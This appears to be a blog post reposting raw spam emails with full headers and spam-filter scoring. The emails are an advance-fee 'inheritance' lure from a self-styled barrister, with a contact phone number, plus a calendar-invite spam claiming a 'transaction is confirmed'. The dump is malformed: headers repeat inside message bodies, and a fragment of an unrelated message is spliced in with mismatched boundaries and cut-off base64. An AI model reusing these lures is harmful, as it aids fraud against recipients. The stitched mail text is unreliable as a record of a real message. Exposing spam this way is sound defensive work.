Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vM2nl-00000000OK8-0gRU
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:13 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:13 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f46.google.com ([209.85.167.46]:53591)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOe-000000006ip-3KvL
for root@nk.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lf1-f46.google.com with SMTP id 2adb3069b0e04-5969c5af23bso422740e87.3
for; Wed, 19 Nov 2025 21:39:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=s+G7Acw27GxVO/v/lowNlsbXWJlP+0Zu4pp7/50h13k5LZ3PrCgbMFtX1T7ba1Hq04
TuCslk7q6z5Tb9pnlymd6Rjq11DjmbxTnSvLqngdHGJ7LvezwPW8bzbENHaTQSMx4oHm
8421CxmlsgE6mQp2k5uJfMYSXN+w7bjp/jRGuC+r03B8cX1GD59d0TgPgpdAoO6Oiq0O
b2Vs5FvkPUwPQ2dtqSYwFiA4YftxLUqzQUw9Q2diFSZPf/KPT+V6WtHkZ8Ycys8ygLt0
lLRzosveGZUDvhpcWXXBRX7TQy11QsOkLZkw1YHJD5pPfhAsJRWbIyMJQ5nty01tx2xd
Jv3A==
X-Forwarded-Encrypted: i=1; AJvYcCX+G3ITfJ7RdBUIuQQiMf+FJ/m3S27l2XcgQzl6IdcS53rxrG+3DBYQEzMxvkIXbXLNGQqV@nk.ca
X-Gm-Message-State: AOJu0Yy4JwgdjAQ7ba30XfzQ418tnP+De6HmE31pDjb3jmGhHBHt2iFe
VCe3mhfJTx7LMaNsMSDxLxIT1i7IoMIcu3ppwxZYwq84iVl+79I91FLNqrsiGFdJlQT99DueMTo
6/uEhit8XPuxVPMxNXsFVn2DgiVOXqTmQ7izY489w5A==
X-Gm-Gg: ASbGnctTrT3aKIJ+hcCcXfe5SffhHk4+v+xPk35K9L8s707O2HOvNT+rGVlWDfU0l0O
XCcS+CbAksp2g567zcQTyeBSyR6ypWr/wnEsrKMs5z160qkZCw+aMik0XjsrjLkj1jIWEUerhVg
aXtKv1+7xtlhtrcY9IuhGg9zA9i58j0+mVyI/cHns7/pktEidQsQCN6ptWpzftKI0eAd68Wy7WX
b/3Pi0p2isQ/7vsTj8NnPNc46FVD+KmxQkQCz9InuB+2bL0tQibMTqZ04s1QXgs+Dn+58QmBdvl
wfM0YMJ/FO3sYr/nlaCtHBbCRaWQs/ix
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: root@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.46 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.46 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vM2nl-00000000OK8-0gRU
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:13 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:13 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f46.google.com ([209.85.167.46]:53591)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from
id 1vLxOe-000000006ip-3KvL
for root@nk.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lf1-f46.google.com with SMTP id 2adb3069b0e04-5969c5af23bso422740e87.3
for
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=s+G7Acw27GxVO/v/lowNlsbXWJlP+0Zu4pp7/50h13k5LZ3PrCgbMFtX1T7ba1Hq04
TuCslk7q6z5Tb9pnlymd6Rjq11DjmbxTnSvLqngdHGJ7LvezwPW8bzbENHaTQSMx4oHm
8421CxmlsgE6mQp2k5uJfMYSXN+w7bjp/jRGuC+r03B8cX1GD59d0TgPgpdAoO6Oiq0O
b2Vs5FvkPUwPQ2dtqSYwFiA4YftxLUqzQUw9Q2diFSZPf/KPT+V6WtHkZ8Ycys8ygLt0
lLRzosveGZUDvhpcWXXBRX7TQy11QsOkLZkw1YHJD5pPfhAsJRWbIyMJQ5nty01tx2xd
Jv3A==
X-Forwarded-Encrypted: i=1; AJvYcCX+G3ITfJ7RdBUIuQQiMf+FJ/m3S27l2XcgQzl6IdcS53rxrG+3DBYQEzMxvkIXbXLNGQqV@nk.ca
X-Gm-Message-State: AOJu0Yy4JwgdjAQ7ba30XfzQ418tnP+De6HmE31pDjb3jmGhHBHt2iFe
VCe3mhfJTx7LMaNsMSDxLxIT1i7IoMIcu3ppwxZYwq84iVl+79I91FLNqrsiGFdJlQT99DueMTo
6/uEhit8XPuxVPMxNXsFVn2DgiVOXqTmQ7izY489w5A==
X-Gm-Gg: ASbGnctTrT3aKIJ+hcCcXfe5SffhHk4+v+xPk35K9L8s707O2HOvNT+rGVlWDfU0l0O
XCcS+CbAksp2g567zcQTyeBSyR6ypWr/wnEsrKMs5z160qkZCw+aMik0XjsrjLkj1jIWEUerhVg
aXtKv1+7xtlhtrcY9IuhGg9zA9i58j0+mVyI/cHns7/pktEidQsQCN6ptWpzftKI0eAd68Wy7WX
b/3Pi0p2isQ/7vsTj8NnPNc46FVD+KmxQkQCz9InuB+2bL0tQibMTqZ04s1QXgs+Dn+58QmBdvl
wfM0YMJ/FO3sYr/nlaCtHBbCRaWQs/ix
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: root@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
[209.85.167.46 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.46 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.46 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.46 listed in wl.mailspike.net]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
I sent you this =
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
letter days ago about the inheritance, Please contact me for more details.<=
/span>
gia,serif">Best regards,
r style=3D"font-family:georgia,serif">
rif">Barrister Kokou Agboyibo.
">(+228 99 72 79 24)
div>
--0000000000004c9f920644001dd3--
Nigerian spam from Google Gmail
Posted by Dave Yadallee on
Return-path:
Envelope-to: dave@doctor.nl2k.ab.ca
Delivery-date: Thu, 20 Nov 2025 04:27:00 -0700
Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vM2ns-00000000OLK-3PMF
for dave@doctor.nl2k.ab.ca;
Thu, 20 Nov 2025 04:26:20 -0700
Resent-From: The Doctor
Resent-Date: Thu, 20 Nov 2025 04:26:20 -0700
Resent-Message-ID:
Resent-To: Dave Yadallee
Received: from mail-lf1-f47.google.com ([209.85.167.47]:52645)
by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256
(Exim 4.98.2 (FreeBSD))
(envelope-from)
id 1vLxOe-000000006ij-3Lc5
for doctor@nk.ca;
Wed, 19 Nov 2025 22:40:12 -0700
Received: by mail-lf1-f47.google.com with SMTP id 2adb3069b0e04-5957753e0efso459169e87.1
for; Wed, 19 Nov 2025 21:39:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=gmail.com; s=20230601; t=1763617143; x=1764221943; darn=nk.ca;
h=to:subject:message-id:date:from:mime-version:from:to:cc:subject
:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=khNmfp6au3d+VmxodcsSIbLc8/4xwUQf4x96HUcaEuT5/PhmHilC/72RPkiWSJxTNe
4PL86nMJ6p+G/ZqMWYoNUqU8C8KGqqOO9JJyNUICZe7UsVsxvh57WbLqdgCOgH78lnc9
WaWPIFjWD1AQCJ36BcrF+my5ydcV56PVJY7/XwVVN1F4ZzHPehMijMP3vCTI59txqZU+
3+zVBGTEE4UqtEeLfJKFYjxvUTGB08+L7fXVPRP2nZiCzw7moGQ3WBRd+Of3MAdbyNMs
dfxwfByYQvMLkcg8AvcgyWSydu+UEWN/Xtyyhnfgxu4riywfdzNYPypy9vMIsDdsCpjK
3w6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=1e100.net; s=20230601; t=1763617143; x=1764221943;
h=to:subject:message-id:date:from:mime-version:x-gm-gg
:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
bh=YvBWbOfg5p1Y44hmgbwnTb+EXt0ggU8PpUMyLiB83Qo=;
b=NFPzzXNiE01Nw3s8OQthfrsFSQ3KOgfkxruCxCOZUR0Ze3gPbDVbfnBx1GZO1sKtYC
WBlRN2BBj5lhTAoYsbQ8RvtL1h6oWlucNHtg2y+tUuTSeyN8ki/VM6qaKmzP2lvDOvxw
tedVC6z2P2yfojltVM9Jr4c2JtutKUH58Lpoj09TmmcNJUfSJrHyQKWbG6fK/yVegL5Y
cIJJPLnX2rEc8aE+JyGZiUTV/Gzl6t2owMM/5V4E8dGpqxNEH/X6KUZB+0YDoMUrc1V7
qIqoB1WlrTQ6OQbfRlmTWr0iAfNVEH8Le0WgF26iRsem0uYVfxPauGQ/rjTzHvjbcxRU
Is3g==
X-Forwarded-Encrypted: i=1; AJvYcCWIrONbOSrcQqbG4MMxQppbWBa3VMIXsF1uE9M7rrs/9N2idFqZV2x9a8+i26kCa1edP6i8VFk=@nk.ca
X-Gm-Message-State: AOJu0YxBWEg/mX9jfLU+mDk2dabQUnXkBYnQ6APLl5QDqZ89XgcapVPi
2Kfa7ixB/VDeHHRPThIvBDMjG55a4Op+5zTqRdBq0jfZuF/DbCIZOLRnyNGDLa2GrJxsFoGR42P
8N/5m+sOk+PEXUpAZR4HqN1ABsot+lDk=
X-Gm-Gg: ASbGncu/elRvKpQLDWStCvKpjUWyPSeaQ5NEjZE6wtnhM4cyO3AMAHHg4fhlQT5qXOt
u7sgIf92JRKgsS79M4RciTNK28YhR/AtkWDe0B85twW3dY2l6ZCibY4ZZd8D0PN/IzwruU8N+PV
7JScgF4AnpOv/oGLPX0H5GIsFbY3TveLvx6y4KA2Jtj/uLtTQVHcBqyzrXh0wcH5YHNlJXDRP4k
a19MGw2cv/JOJKZis+8i24xzNFQrAOMMYRf00nZu2+iqlAcYMamR9WilQKHz7EOsogZZgCngAv2
uYaIZGD6TvarO0GKvoQqLvcEYUAOjUdL
X-Google-Smtp-Source: AGHT+IGAEZJYw6vJDpQPTxLY26mpxkxLj82iR6iftX/2owtkrcF3ZxaLE0yq36iWxLxxr02JP/ipX3aBvQYlNdqpOa0=
X-Received: by 2002:a05:6512:3b98:b0:594:2835:e73e with SMTP id
2adb3069b0e04-5969e30d863mr467677e87.37.1763617142512; Wed, 19 Nov 2025
21:39:02 -0800 (PST)
MIME-Version: 1.0
From: Kokou Agboyibo
Date: Thu, 20 Nov 2025 05:38:46 +0000
X-Gm-Features: AWmQ_bk_33O7jn_tqKYw8irc6-2nBnn6HCVBpImIn7iZA6ToeLYsspxXINx1Jhw
Message-ID:
Subject: Best regards
To: undisclosed-recipients:;
Content-Type: multipart/alternative; boundary="0000000000004c9f920644001dd3"
Bcc: doctor@nk.ca
X-Spam_score: 6.1
X-Spam_score_int: 61
X-Spam_bar: ++++++
X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
@@CONTACT_ADDRESS@@ for details.
Content preview: I sent you this letter days ago about the inheritance, Please
contact me for more details. Best regards, Barrister Kokou Agboyibo. (+228
99 72 79 24) I sent you this letter days ago about the inheritance, Please
contact me for more details.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
[209.85.167.47 listed in will-spam-for-food.eu.org]
1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
[209.85.167.47 listed in dnsbl.ahbl.org]
1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org
[209.85.167.47 listed in dnsbl.ahbl.org]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
domain
1.5 GR_DOMAIN_UNDISC1 To contains undisclosed recipient (undisc)
-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no
trust
[209.85.167.47 listed in list.dnswl.org]
-0.2 RCVD_IN_MSPIKE_H2 RBL: Average reputation (+2)
[209.85.167.47 listed in wl.mailspike.net]
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
[kokou.esq(at)gmail.com]
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge
Subject: {SPAM?} Best regards
--0000000000004c9f920644001dd3
Content-Type: text/plain; charset="UTF-8"
I sent you this letter days ago about the inheritance, Please contact me
for more details.
Best regards,
Barrister Kokou Agboyibo.
(+228 99 72 79 24)
--0000000000004c9f920644001dd3
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
r=3D"0" cellpadding=3D"0" cellspacing=3D"0" role=3D"presentation" align=3D"=
center" style=3D"width:100%;" class=3D"">
0; padding: 0; text-align: left; word-break: break-word;;padding:4px 12px;=
" class=3D"" align=3D"left">
70757a; text-decoration: none;font-family: Roboto, sans-serif;font-size: 12=
px; line-height: 16px; mso-line-height-rule: exactly; text-align: left;">
>Invitation from
"accent-text underline-on-hover" style=3D"font-family: Roboto, sans-serif;f=
ont-size: 12px; line-height: 16px; mso-line-height-rule: exactly;;color: #1=
a73e8; text-decoration: none;" target=3D"_blank">Google Calendar
p>Forwarding this invitation could allow any recipient to send a response t=
o the organizer, be added to the guest list, invite others regardless of th=
eir own invitation status, or modify your RSVP.
erline-on-hover" style=3D"font-family: Roboto, sans-serif;font-size: 12px; =
line-height: 16px; mso-line-height-rule: exactly;;color: #1a73e8; text-deco=
ration: none;" href=3D"https://support.google.com/calendar/answer/37135#for=
warding">Learn more
y>
--00000000000015c89d0643f27f0b
Content-Type: text/calendar; charset="UTF-8"; method=REQUEST
Content-Transfer-Encoding: 7bit
BEGIN:VCALENDAR
PRODID:-//Google Inc//Google Calendar 70.9054//EN
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:REQUEST
BEGIN:VTIMEZONE
TZID:Asia/Hong_Kong
X-LIC-LOCATION:Asia/Hong_Kong
BEGIN:STANDARD
TZOFFSETFROM:+0800
TZOFFSETTO:+0800
TZNAME:GMT+8
DTSTART:19700101T000000
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
DTSTART;TZID=Asia/Hong_Kong:20251120T092359
DTSTAMP:20251119T132413Z
ORGANIZER;CN=Patrick Spears:mailto:patrick.spe970@sskhamiton.cfd
UID:06K4WoH36iQ28SHASWbit2znmx@google.com
ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=NEEDS-ACTION;RSVP=
TRUE;CN=doctor@nl2k.ab.ca;X-NUM-GUESTS=0:mailto:doctor@nl2k.ab.ca
X-MICROSOFT-CDO-OWNERAPPTID:938429941
CREATED:20251119T132403Z
DESCRIPTION:
LAST-MODIFIED:20251119T132406Z
LOCATION:
SEQUENCE:0
STATUS:CONFIRMED
SUMMARY:Hi\, Transaction is confirmed and ready
TRANSP:OPAQUE
BEGIN:VALARM
ACTION:DISPLAY
DESCRIPTION:This is an event reminder
TRIGGER:-P0DT0H10M0S
END:VALARM
END:VEVENT
END:VCALENDAR
--00000000000015c89d0643f27f0b--
--00000000000015c89f0643f27f0d
Content-Type: application/ics; name="invite.ics"
Content-Disposition: attachment; filename="invite.ics"
Content-Transfer-Encoding: base64
QkVHSU46VkNBTEVOREFSDQpQUk9ESUQ6LS8vR29vZ2xlIEluYy8vR29vZ2xlIENhbGVuZGFyIDcw
LjkwNTQvL0VODQpWRVJTSU9OOjIuMA0KQ0FMU0NBTEU6R1JFR09SSUFODQpNRVRIT0Q6UkVRVUVT
VA0KQkVHSU46VlRJTUVaT05FDQpUWklEOkFzaWEvSG9uZ19Lb25nDQpYLUxJQy1MT0NBVElPTjpB
c2lhL0hvbmdfS29uZw0KQkVHSU46U1RBTkRBUkQNClRaT0ZGU0VURlJPTTorMDgwMA0KVFpPRkZT
RVRUTzorMDgwMA0KVFpOQU1FOkdNVCs4DQpEVFNUQVJUOjE5NzAwMTAxVDAwMDAwMA0KRU5EOlNU
QU5EQVJEDQpFTkQ6VlRJTUVaT05FDQpCRUdJTjpWRVZFTlQNCkRUU1RBUlQ7VFpJRD1Bc2lhL0hv
bmdfS29uZzoyMDI1MTEyMFQwOTIzNTkNCkRUU1RBTVA6MjAyNTExMTlUMTMyNDEzWg0KT1JHQU5J
WkVSO0NOPVBhdHJpY2sgU3BlYXJzOm1haWx0bzpwYXRyaWNrLnNwZTk3MEBzc2toYW1pdG9uLmNm
ZA0KVUlEOjA2SzRXb0gzNmlRMjhTSEFTV2JpdDJ6bm14QGdvb2dsZS5jb20NCkFUVEVOREVFO0NV
VFlQRT1JTkRJVklEVUFMO1JPTEU9UkVRLVBBUlRJQ0lQQU5UO1BBUlRTVEFUPU5FRURTLUFDVElP
TjtSU1ZQPQ0KIFRSVUU7Q049ZG9jdG9yQG5sMmsuYWIuY2E7WC1OVU0tR1VFU1RTPTA6bWFpbHRv
OmRvY3RvckBubDJrLmFiLmNhDQpYLU1JQ1JPU09GVC1DRE8tT1dORVJBUFBUSUQ6OTM4NDI5OTQx
DQpDUkVBVEVEOjIwMjUxMTE5VDEzMjQwM1oNCkRFU0NSSVBUSU9OOjxwPlRyYW5zYWN0aW9uIGRh
